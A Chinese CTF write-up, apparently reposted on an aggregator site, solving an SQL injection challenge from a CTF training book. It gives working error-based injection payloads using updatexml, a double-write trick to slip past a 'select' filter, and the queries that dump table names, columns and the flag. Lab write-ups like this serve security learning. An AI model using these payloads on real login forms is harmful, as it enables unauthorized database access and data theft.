《从0到1:CTFer成长之路》题目-SQL注入-2

news/发布时间2024/5/17 19:01:12

《从0到1:CTFer成长之路》题目

SQL注入-2:

题目类型:web

题目描述:打开靶机,出现下面这种界面:

我们访问login.php:

我们再访问一下user.php:

解题方法:这里我们知道login.php是一个后台管理系统的登陆界面,user.php显示的是一句话,看了一下user.php的源码并没有发现什么有用的信息,根据题目意思是SQL注入,所以这里我们关注一下login.php

这里我们输入万能密码来测试一下:

再试了一下其他的条件,发现就只有两种报错,没有什么可以注入的显示位,然后我们查看一下它的源码:

很惊奇的发现在源码中我们得到一段很有用的信息:

然后使用burp发包,在url后面加入?tips = 1 开启mysql的错误提示

这么我们在name后面输入1‘ 得到了报错信息,但是只有报错信息,没有什么有用的回显信息,所以这里我们使用报错注入的方式:

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

我们构造payload来测试一下报错注入是否可行:

1'and updatexml(1,concat(0x7e,(select 1),0x7e),1)--+

成功,说明这里报错注入可行,然后现在就可以爆出它的数据库来:

报数据库名:

1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

得到数据库名

爆数据库里面的表名:

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='note'),0x7e),1)--+

报错,没有得到想要的信息,但是我们这里的SQL语句没有问题,说明其中有关键字被过滤了,我们猜测是select,我们用大小写或者双写来试着给他绕过一下

1' and updatexml(1,concat(0x7e,(seselectlect group_concat(table_name) from information_schema.tables where table_schema='note'),0x7e),1)--+

成功,说明select被过滤了,我们用双写来进行绕过

得到了它的两个表名:fl4g和users ,这里很明显的发现我们的flag的信息在fl4g表中

爆出fl4g表中的字段名:

1' and updatexml(1,concat(0x7e,(seselectlect group_concat(column_name) from information_schema.columns where table_name='fl4g'),0x7e),1)--+

得到它的字段名为flag

最后一步爆出flag的内容:

1' and updatexml(1,concat(0x7e,(seselectlect group_concat(flag) from fl4g),0x7e),1)--+

得到flag:

n1book{login_sqli_is_nice}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ulsteruni.cn/article/15171264.html

如若内容造成侵权/违法违规/事实不符,请联系编程大学网进行投诉反馈email:xxxxxxxx@qq.com,一经查实,立即删除!

相关文章

SQL Server Profilter - 简单使用

介绍 SQL Server Profiler 是一个界面,用于创建和管理跟踪并分析和重播跟踪结果。 这些事件保存在一个跟踪文件中,稍后诊断问题时,可以对该文件进行分析或用它来重播一系列特定的步骤。 使用 SQL Server Profiler Microsoft SQL Server Profiler 是 SQL 跟踪的图形用户界面,…

毕设进度3.26

在订单入库同步设置冷库设定温度 明日计划 增加随机数值生成器,在温度控制范围内控制设备

P2143 [JSOI2010] 巨额奖金 题解

qwqP2143 [JSOI2010] 巨额奖金 题解矩阵树定理+Kruskal最小生成树计数。 思路 MST 都是喵喵题。 引理 1:所有合法的权值相同边的连边方案,得到的连通块情况是相同的。 感性理解:如果不相同意味着至少有一条边可以连通一对连通块。 所以我们可以这么做:先跑 Kruskal 标记树边…

MAT确认导致OOM的具体功能表单的过程

MAT发现导致OOM的具体功能表单的过程背景 愚人节这一天公司项目出现了 大量FullGC的情况. 群里发出来之后这边进行了一些简单的问题查找.堆区设置的事 30G 然后 dump文件是 35G左右. 下载和解压缩耗时 15min 使用40G堆区 全闪的Window虚拟机进行解析 耗时 30分钟.最近自己眼神不…

DC电源模块的市场发展趋势分析

BOSHIDA DC电源模块的市场发展趋势分析 DC电源模块是一种将交流电转换为直流电的模块,广泛应用于各种电子设备中。随着科技的不断发展和电子产品的普及,DC电源模块市场也在不断扩大。本文将对DC电源模块的市场发展趋势进行分析。 第一,随着电子产品的不断更新换代,对于电源…